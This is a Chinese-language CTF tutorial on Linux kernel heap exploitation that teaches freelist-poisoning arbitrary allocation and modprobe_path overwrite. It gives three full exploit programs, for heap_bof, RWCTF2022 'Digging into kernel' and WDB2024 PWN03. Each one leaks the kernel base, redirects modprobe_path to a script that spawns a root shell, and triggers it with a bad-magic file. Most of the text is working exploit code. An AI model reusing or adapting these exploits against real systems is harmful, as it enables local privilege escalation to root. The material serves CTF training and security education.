Linux kernel 堆溢出利用方法（三）

前言

本文我们通过我们的老朋友heap_bof来讲解Linux kernel中任意地址申请的其中一种比赛比较常用的利用手法modprobe_path（虽然在高版本内核已经不可用了但ctf比赛还是比较常用的）。在通过两道道近期比赛的赛题来讲解。

Arbitrary Address Allocation

利用思路

通过 uaf 修改 object 的 free list 指针实现任意地址分配。与 glibc 不同的是，内核的 slub 堆管理器缺少检查，因此对要分配的目标地址要求不高，不过有一点需要注意：当我们分配到目标地址时会把目标地址前 8 字节的数据会被写入 freelist，而这通常并非一个有效的地址，从而导致 kernel panic，因此在任意地址分配时最好确保目标 object 的 free list 字段为 NULL 。

当能够任意地址分配的时候，与 glibc 改 hook 类似，在内核中通常修改的是 modprobe_path 。modprobe_path 是内核中的一个变量，其值为 /sbin/modprobe ，因此对于缺少符号的内核文件可以通过搜索 /sbin/modprobe 字符串的方式定位这个变量。

当我们尝试去执行（execve）一个非法的文件（file magic not found），内核会经历如下调用链：

entry_SYSCALL_64()sys_execve()do_execve()do_execveat_common()bprm_execve()exec_binprm()search_binary_handler()__request_module() // wrapped as request_modulecall_modprobe()

其中 call_modprobe() 定义于 kernel/kmod.c，我们主要关注这部分代码：

static int call_modprobe(char *module_name, int wait)
{//...argv[0] = modprobe_path;argv[1] = "-q";argv[2] = "--";argv[3] = module_name;	/* check free_modprobe_argv() */argv[4] = NULL;info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,NULL, free_modprobe_argv, NULL);if (!info)goto free_module_name;return call_usermodehelper_exec(info, wait | UMH_KILLABLE);//...

在这里调用了函数 call_usermodehelper_exec() 将 modprobe_path 作为可执行文件路径以 root 权限将其执行。
我们不难想到的是：若是我们能够劫持 modprobe_path，将其改写为我们指定的恶意脚本的路径，随后我们再执行一个非法文件，内核将会以 root 权限执行我们的恶意脚本。

或者分析vmlinux即可(对于一些没有call_modprobe()符号的直接交叉引用即可)。

__int64 _request_module(char a1,__int64 a2,double a3,double a4,double a5,double a6,double a7,double a8,double a9,double a10,...)
{
......if ( v19 ){
......v21 = call_usermodehelper_setup((__int64)&byte_FFFFFFFF82444700, // modprobe_path(__int64)v18,(__int64)&off_FFFFFFFF82444620,3264,0LL,(__int64)free_modprobe_argv,0LL);
......
}
.data:FFFFFFFF82444700 byte_FFFFFFFF82444700             ; DATA XREF: __request_module:loc_FFFFFFFF8108C6D8↑r
.data:FFFFFFFF82444700                 db 2Fh  ; /       ; __request_module+14B↑o ...                       
.data:FFFFFFFF82444701                 db  73h ; s
.data:FFFFFFFF82444702                 db  62h ; b
.data:FFFFFFFF82444703                 db  69h ; i
.data:FFFFFFFF82444704                 db  6Eh ; n
.data:FFFFFFFF82444705                 db  2Fh ; /
.data:FFFFFFFF82444706                 db  6Dh ; m
.data:FFFFFFFF82444707                 db  6Fh ; o
.data:FFFFFFFF82444708                 db  64h ; d
.data:FFFFFFFF82444709                 db  70h ; p
.data:FFFFFFFF8244470A                 db  72h ; r
.data:FFFFFFFF8244470B                 db  6Fh ; o
.data:FFFFFFFF8244470C                 db  62h ; b
.data:FFFFFFFF8244470D                 db  65h ; e
.data:FFFFFFFF8244470E                 db    0

exp

#include "src/pwn_helper.h"#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_WRITE 8
#define BOF_READ 9size_t modprobe_path = 0xFFFFFFFF81E48140;
size_t seq_ops_start = 0xffffffff81228d90;struct param {size_t len;size_t *buf;long long idx;
};void alloc_buf(int fd, struct param* p)
{printf("[+] kmalloc len:%lu idx:%lld\n", p->len, p->idx);ioctl(fd, BOF_MALLOC, p);
}void free_buf(int fd, struct param* p)
{printf("[+] kfree len:%lu idx:%lld\n", p->len, p->idx);ioctl(fd, BOF_FREE, p);
}void read_buf(int fd, struct param* p)
{printf("[+] copy_to_user len:%lu idx:%lld\n", p->len, p->idx);ioctl(fd, BOF_READ, p);
}void write_buf(int fd, struct param* p)
{printf("[+] copy_from_user len:%lu idx:%lld\n", p->len, p->idx);ioctl(fd, BOF_WRITE, p);
}int main()
{// len buf idxsize_t* buf = malloc(0x500);struct param p = {0x20, buf, 0};printf("[+] user_buf : %p\n", p.buf);int bof_fd = open("/dev/bof", O_RDWR);if (bof_fd < 0) {puts(RED "[-] Failed to open bof." NONE);exit(-1);}printf(YELLOW "[*] try to leak kbase\n" NONE);alloc_buf(bof_fd, &p);free_buf(bof_fd, &p);int seq_fd = open("/proc/self/stat", O_RDONLY);read_buf(bof_fd, &p);qword_dump("leak seq_ops", buf, 0x20);size_t kernel_offset = buf[0] - seq_ops_start;printf(YELLOW "[*] kernel_offset %p\n" NONE, (void*)kernel_offset);modprobe_path += kernel_offset;printf(LIGHT_BLUE "[*] modprobe_path addr : %p\n" NONE, (void*)modprobe_path);p.len = 0xa8;alloc_buf(bof_fd, &p);free_buf(bof_fd, &p);read_buf(bof_fd, &p);buf[0] = modprobe_path - 0x20;write_buf(bof_fd, &p);alloc_buf(bof_fd, &p);alloc_buf(bof_fd, &p);read_buf(bof_fd, &p);qword_dump("leak modprobe_path", buf, 0x30);strcpy((char *) &buf[4], "/tmp/shell.sh\x00");write_buf(bof_fd, &p);read_buf(bof_fd, &p);qword_dump("leak modprobe_path", buf, 0x30);if (open("/shell.sh", O_RDWR) < 0) {system("echo '#!/bin/sh' >> /tmp/shell.sh");system("echo 'setsid /bin/cttyhack setuidgid 0 /bin/sh' >> /tmp/shell.sh");system("chmod +x /tmp/shell.sh");}system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/fake");system("chmod +x /tmp/fake");system("/tmp/fake");return 0;
}

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RWCTF2022 Digging into kernel 1 & 2

题目分析

start.sh

#!/bin/shqemu-system-x86_64 \-kernel bzImage \-initrd rootfs.img \-append "console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet noapic kalsr" \-cpu kvm64,+smep,+smap \-monitor null \--nographic \-s

逆向分析

int __cdecl xkmod_init()
{kmem_cache *v0; // raxprintk(&unk_1E4);misc_register(&xkmod_device);v0 = (kmem_cache *)kmem_cache_create("lalala", 192LL, 0LL, 0LL, 0LL);buf = 0LL;s = v0;return 0;
}

int __fastcall xkmod_release(inode *inode, file *file)
{return kmem_cache_free(s, buf); // maybe double free
}

void __fastcall xkmod_ioctl(__int64 a1, int a2, __int64 a3)
{__int64 data; // [rsp+0h] [rbp-20h] BYREFunsigned int idx; // [rsp+8h] [rbp-18h]unsigned int size; // [rsp+Ch] [rbp-14h]unsigned __int64 v6; // [rsp+10h] [rbp-10h]// v3 __ : 0x8 rsp + 0x0// v4 __ : 0x4 rsp + 0x8// v5 __ : 0x4 rsp + 0xcv6 = __readgsqword(0x28u);if ( a3 ){copy_from_user(&data, a3, 0x10LL);if ( a2 == 0x6666666 ){if ( buf && size <= 0x50 && idx <= 0x70 ){copy_from_user((char *)buf + (int)idx, data, (int)size);return;}}else{if ( a2 != 0x7777777 ){if ( a2 == 0x1111111 )buf = (void *)kmem_cache_alloc(s, 0xCC0LL);return;}if ( buf && size <= 0x50 && idx <= 0x70 ){((void (__fastcall *)(__int64, char *, int))copy_to_user)(data, (char *)buf + (int)idx, size);return;}}xkmod_ioctl_cold();}
}

利用思路

关于内核基址获取，在内核堆基址（page_offset_base） + 0x9d000 处存放着 secondary_startup_64 函数的地址，而我们可以从 free object 的 next 指针获得一个堆上地址，从而去找堆的基址，之后分配到一个堆基址 + 0x9d000 处的 object 以泄露内核基址，这个地址前面刚好有一片为 NULL 的区域方便我们分配。

#define __PAGE_OFFSET           page_offset_base
#define PAGE_OFFSET		((unsigned long)__PAGE_OFFSET)
#define __va(x)			((void *)((unsigned long)(x)+PAGE_OFFSET))/* Must be perfomed *after* relocation. */trampoline_header = (struct trampoline_header *)__va(real_mode_header->trampoline_header);...trampoline_header->start = (u64) secondary_startup_64;
[......]
// vmlinux 查找 secondary_startup_64 基址
.text:FFFFFFFF81000030 ; void secondary_startup_64()
[......]
pwndbg>x/40gx (0xffff9f5d40000000+0x9d000-0x20
0xffff9f5d4009cfe0: 0X0000000000000000 0X0000000000000000
0xffff9f5d4009cff0: 0X0000000000000000 0X0000000005c0c067
0xffff9f5d4009d000: 0xffffffff97c00030 0X0000000000000901
0xffff9f5d4009d010: 0X00000000000006b0 0X0000000000000000
0xffff9f5d4009d020: 0X0000000000000000 0X0000000000000000

至于 page_offset_base 可以通过 object 上的 free list 泄露的堆地址与上 0xFFFFFFFFF0000000 获取。不同版本可查看vmmap。

exp

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/io.h>size_t modprobe_path = 0xFFFFFFFF82444700;void qword_dump(char *desc, void *addr, int len)
{uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("[*] %s:\n", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}struct Data {size_t *buf;u_int32_t offset;u_int32_t size;
};void alloc_buf(int fd, struct Data *data)
{ioctl(fd, 0x1111111, data);
}void write_buf(int fd, struct Data *data)
{ioctl(fd, 0x6666666, data);
}void read_buf(int fd, struct Data *data)
{ioctl(fd, 0x7777777, data);
}int main()
{int xkmod_fd[5];for (int i = 0; i < 5; i++) {xkmod_fd[i] = open("/dev/xkmod", O_RDONLY);if (xkmod_fd[i] < 0) {printf("[-] %d Failed to open xkmod.", i);exit(-1);}}struct Data data = {malloc(0x1000), 0, 0x50};alloc_buf(xkmod_fd[0], &data);close(xkmod_fd[0]);read_buf(xkmod_fd[1], &data);qword_dump("buf", data.buf, 0x50);size_t page_offset_base = data.buf[0] & 0xFFFFFFFFF0000000;printf("[+] page_offset_base: %p\n", page_offset_base);data.buf[0] = page_offset_base + 0x9d000 - 0x10;write_buf(xkmod_fd[1], &data);alloc_buf(xkmod_fd[1], &data);alloc_buf(xkmod_fd[1], &data);data.size = 0x50;read_buf(xkmod_fd[1], &data);qword_dump("buf", data.buf, 0x50);size_t kernel_offset = data.buf[2] - 0xffffffff81000030;printf("kernel offset: %p\n", kernel_offset);modprobe_path += kernel_offset;close(xkmod_fd[1]);data.buf[0] = modprobe_path - 0x10;write_buf(xkmod_fd[2], &data);alloc_buf(xkmod_fd[2], &data);alloc_buf(xkmod_fd[2], &data);strcpy((char *) &data.buf[2], "/home/shell.sh");write_buf(xkmod_fd[2], &data);if (open("/home/shell.sh", O_RDWR) < 0) {system("echo '#!/bin/sh' >> /home/shell.sh");system("echo 'setsid cttyhack setuidgid 0 sh' >> /home/shell.sh");system("chmod +x /home/shell.sh");}system("echo -e '\\xff\\xff\\xff\\xff' > /home/fake");system("chmod +x /home/fake");system("/home/fake");return 0;
}

WDB2024 PWN03

利用思路

基本上和RWCTF2022 Digging into kernel 1 & 2是一样的，这道题大家拿去练手即可，建议大家自行分析题目，我只把我的exp贴在下面，但是建议大家自己写一个exp。

exp

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/io.h>size_t modprobe_path = 0xFFFFFFFF81E58B80;void qword_dump(char *desc, void *addr, int len)
{uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("[*] %s:\n", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}void alloc_buf(int fd, int size)
{printf("[+] kmalloc %d\n", size);ioctl(fd, 0x0, size);
}void free_buf(int fd)
{printf("[+] kfree\n");ioctl(fd, 0x1, 0);
}void read_buf(int fd, size_t* buf, int size)
{printf("[+] copy_to_user %d\n", size);read(fd, buf, size);qword_dump("read_buf", buf, size);
}void write_buf(int fd, size_t* buf, int size)
{printf("[+] copy_from_user %d\n", size);qword_dump("write_buf", buf, size);write(fd, buf, size);
}int main()
{size_t* buf = malloc(0x500);int easy_fd;easy_fd = open("/dev/easy", O_RDWR);alloc_buf(easy_fd, 0xa8);free_buf(easy_fd);read_buf(easy_fd, buf, 0xa8);size_t page_offset_base = buf[0] & 0xFFFFFFFFF0000000;printf("[*] page_offset_base %p\n", page_offset_base);buf[0] = page_offset_base + 0x9d000 - 0x10;write_buf(easy_fd, buf, 0x8);alloc_buf(easy_fd, 0xa8);alloc_buf(easy_fd, 0xa8);read_buf(easy_fd, buf, 0xa8);size_t kernel_offset = buf[2] - 0xFFFFFFFF81000110;printf("[*] kernel offset: %p\n", kernel_offset);modprobe_path += kernel_offset;buf[0] = modprobe_path - 0x20;alloc_buf(easy_fd, 0xa8);free_buf(easy_fd);write_buf(easy_fd, buf, 0x8);alloc_buf(easy_fd, 0xa8);alloc_buf(easy_fd, 0xa8);read_buf(easy_fd, buf, 0x20);strcpy((char *) &buf[4], "/shell.sh\x00");write_buf(easy_fd, buf, 0x30);if (open("/shell.sh", O_RDWR) < 0) {system("echo '#!/bin/sh' >> /shell.sh");system("echo 'setsid /bin/cttyhack setuidgid 0 /bin/sh' >> /shell.sh");system("chmod +x /shell.sh");}system("echo -e '\\xff\\xff\\xff\\xff' > /fake");system("chmod +x /fake");system("/fake");return 0;
}